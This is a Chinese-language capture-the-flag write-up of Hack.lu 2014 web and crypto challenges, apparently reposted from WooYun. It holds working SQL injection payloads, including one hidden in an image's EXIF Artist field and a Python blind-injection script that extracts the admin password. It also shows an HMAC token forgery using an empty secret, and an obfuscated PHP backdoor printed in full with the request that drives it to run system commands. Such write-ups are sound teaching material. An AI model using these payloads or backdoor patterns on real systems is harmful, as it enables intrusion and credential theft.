Hack.lu 2014 Writeup

wyzsk發表於2020-08-19
作者： 一個狗 · 2014/10/29 14:55

0x00 Web 50 Encrypted

Category: Web

Points: 50

Author: TheJH

Description:

Legend says there is a bank vault in Jamestown which cannot be broken

into. The only way inside is through an authentication process. Even

Jesse James and his companions failed to break the security of this

particular bank. Can you do it?

https://wildwildweb.fluxfingers.net:1411/

能看到一個登入表單，使用使用者名稱a和密碼b登入，看到了連結變成

https://wildwildweb.fluxfingers.net:1411/dologin.php?dhrel=FRYRPG+%60anzr%60+SEBZ+%60hfref%60+JURER+%60anzr%60+%3D+%27n%27+NAQ+%60cnffjbeq%60+%3D+ZQ5%28%27o%27%29

#!bash
In [22]: hackercodecs.rotx(hackercodecs.urlunquote(a),13)
Out[22]: u"query=SELECT+`name`+FROM+`users`+WHERE+`name`+=+'a'+AND+`password`+=+MD5('b')"

去掉後半部分，直接訪問：

#!bash
DeAdCaT___$ curl 'https://wildwildweb.fluxfingers.net:1411/dologin.php?dhrel=FRYRPG%20%60anzr%60%20SEBZ%20%60hfref%60'

#!html
<!DOCTYPE html>
<html>
  <head>
    <title>Encrypted Login</title>
  </head>
  <body>
    <h1>Encrypted Login</h1>
Hello admin! The flag is flag{nobody_needs_server_side_validation}.  </body>
</html>

0x01 Web 200 ImageUpload

Category: Web Points: 200 Author: SLAZ Description: In the Wild Wild Web, there are really bad guys. The sheriff doesn’t know them all.

Therefore, he needs your help. Upload pictures of criminals to this site and help the sheriff to arrest them. You can make this Wild Wild Web much less wild!!! Pictures will be deleted on regular basis! Hint: Bruteforce is not necessary to solve the challenge!!! Please don’t do this. https://wildwildweb.fluxfingers.net:1421/

當你登入之後，你能看到一個上傳圖片的表單和一個Login，上傳了一個小辣椒之後，伺服器生成了這麼一個圖片，並且下方還有一個表格。

enter image description here

我一開始總覺得是要繞過gd的壓縮，在各種調教之前的一個繞過gd壓縮的程式碼。後來這個題被凱神秒了，他說這是個exif注入。

於是後來玩了一下，用exiftool。

最終的payload圖片的部分exif資訊

#!bash
DeAdCaT-2:hack.lu2014 DeAdCaT___$ exiftool test.jpg
ExifTool Version Number         : 9.60
File Name                       : test.jpg
Directory                       : .
File Size                       : 7.2 kB
Artist                          : asd','nidaye',(select group_concat(id,0x3a,name,0x3a,password) from users)) #

在Model處出現資料：

#!bash
1:sheriff:AO7eikkOCucCFJOyyaaQ,2:deputy:testpw

然後Login，獲得fLag。

You are sucessfully logged in.
Flag: flag{1_5h07_7h3_5h3r1ff}

0x02 Crypto 150 Hidden in ρlaιn sιght

Category: Crypto

Points: 150

Author: TheJH

Description: At our software development company, one of the top developers left in anger. He told us that he had hidden a backdoor in our node.js server application — he thinks that we can’t find it even if we try. I have attached the source code of our fileserver. After registration, you can log in, upload files and create access tokens for your files that others can use to retrieve them. He must have added some way to retrieve files without permission. And we don’t have version control, so we can’t just check his last commits. We have read the source code multiple times, but just can’t figure out how he did it. Maybe he just lied? Can you help us and demonstrate how the backdoor works? We have uploaded a file to testuser/files/flag.txt – please try to retrieve it. Connect to https://wildwildweb.fluxfingers.net:1409/. Note that all your files will be purged every 5 minutes. You can download the service code here: Download

一開始以為是密碼題，後來發現是隱寫。。。。（機智的lym

一個圖片說明問題：

enter image description here

0x03 crypto150

下面那個長的像拉長的E的東西是

\u0395

也就是說：

HMAC_SECRET = ''

用python：

#!bash
In [76]: hmac.new('','testuser/flag.txt',hashlib.sha256).hexdigest()
Out[76]: '4a332c7f27909f85a529393cea72301393f84cf5908aa2538137776f78624db4'
DeAdCaT___$ curl https://wildwildweb.fluxfingers.net:1409/files/testuser/flag.txt/4a332c7f27909f85a529393cea72301393f84cf5908aa2538137776f78624db4
flag{unicode_stego_is_best_stego}

0x04 Web 200 Killy The Bit

Category: Web

Points: 200

Author: understrich

Description: Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg (https://wildwildweb.fluxfingers.net:1424/). All customer of the bank are now advised to change their password for the next release of the bank’s website which will be launched on the 23.10.2014 10:01 CEST. Killy the Bit stands in your debt and sent the following link https://wildwildweb.fluxfingers.net:1424/index.phps. Can you break the password generation process in order to get access to the admin account? Hint: The challenge won’t actually send emails — just concentrate on the website! Hint: The password’s column name is passwd. Hint: Blind SQLi is not a good solution. You can get the correct and complete flag with one single request!

狗我比較弱，用的盲注：

#!python
import requests

def binary_sqli(left, right, index):
    while 1:
        mid = (left + right)/2
        if mid == left:
            print chr(mid)
            return chr(mid)
            break
        payload = "' union select name,email from user where name = if(ascii(substr((select passwd from user where name='admin'),%s,1))<%s,'admin','root')%%23" % (str(index), str(mid))
        url = 'https://wildwildweb.fluxfingers.net:1424/?name=' + payload + '&submit=Generate'
        r = requests.get(url)
        tmp = r.text
        if len(tmp) < 480:
            right = mid
        else:
            left = mid

if __name__ == '__main__':
    ans = ''
    for i in range(1,65):
        ans += binary_sqli(35, 127, i)
    print ans

拿到了flag：

flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}

更優雅的一句話get flag：

#!bash
DeAdCaT___$ http https://wildwildweb.fluxfingers.net:1424/?name=adm%27%20UNION%20select%20passwd,2%20from%20user%20where%20name=%27admin%27%20LIMIT%201,2%23&submit=Generate#
[1] 49939
DeAdCaT-2:longest-common-prefix DeAdCaT___$ HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html; charset=UTF-8
Date: Tue, 28 Oct 2014 08:31:24 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: nginx
Set-Cookie: PHPSESSID=qk9aod6reqkf8f2c17qhdo1dl2; path=/
Transfer-Encoding: chunked
X-Powered-By: PHP/5.5.9-1ubuntu4.4

<html><head><style type='text/css'><!-- body {background-image: url(bg.jpg);background-repeat: no-repeat;height: Percent;width: Percent; background-size: cover;}//--></style> <title>Royal Bank of Fluxembourg</title></head></html><!--
Single cows are waiting for you

_____________________
|I'm a hot single cow!| 
--------------------- 
\   ^__^  
\  (oo)\_______ 
(__)\       )\/\ 
||----w | 
||     || 


-->We couldn't find your username, but it sounds like this user:<br>flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}<br>

SQL語句不夠溜啊QAQ

0x05 Web 200 Next Global Backdoor

Category: Web

Points: 150

Author: reiners

Description: J0nas is a simple man. He specializes in only one thing: Building the most beautiful back doors that you’ve ever seen. This gem was used in multiple saloons, letting only the most skilled c0wb0ys pass. https://wildwildweb.fluxfingers.net:1425/index.php index.phps

#!php
<?php 

    $v1 = next(neXt(${'next'}['next']))
    // step 1
    // @$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
    // step 2 globals next += 1
    //@$GLOBALS=$GLOBALS{next}=$_POST[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
    // step 3 globals next += 1
    // $v2 = $next['next']=$_COOKIE['GLOBALS'];
    // @$GLOBALS=$GLOBALS{next}=$_POST[$v2][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
    // step 4 globals next += 1
    // $GLOBALS[GLOBALS]['GLOBALS'] = $GLOBALS
    // $v2 = $next['next']=$_COOKIE['GLOBALS'];
    // $v3 = $next['GLOBALS']=$_FILES[$v2]
    // @$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
    // step 5 
    // $v2 = $next['next']=$_COOKIE['GLOBALS'];
    // $v3 = $next['GLOBALS']=$_FILES[$v2];
    // next($_FILE) = $_FILES[$v2]['type']
    // $v4 = $next['GLOBALS']=$_FILES[$v2]['type'];
    // @$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
    // step 6
    $v2 = $next['next']=$_COOKIE['GLOBALS'];
    $v3 = $next['GLOBALS']=$_FILES[$v2];
    $v4 = $next['GLOBALS']=$_FILES[$v2]['type'];
    @$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$_COOKIE['GLOBALS']($_FILES[$v2]['type'])]=$v1;

?>

構造資料包：

#!bash
POST /index.php HTTP/1.1
Host: wildwildweb.fluxfingers.net:1425
Content-Length: 1325
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryePkpFF7tjBAqx29L
Cookie: GLOBALS=system

------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="ls"; filename="hello.o"
Content-Type: ls

<file data>
------WebKitFormBoundaryePkpFF7tjBAqx29L———

最後cat /flag.txt即可。

flag{backdoor_business_is_hard,_fella}
本文章來源於烏雲知識庫，此映象為了方便大家學習研究，文章版權歸烏雲知識庫！

相關文章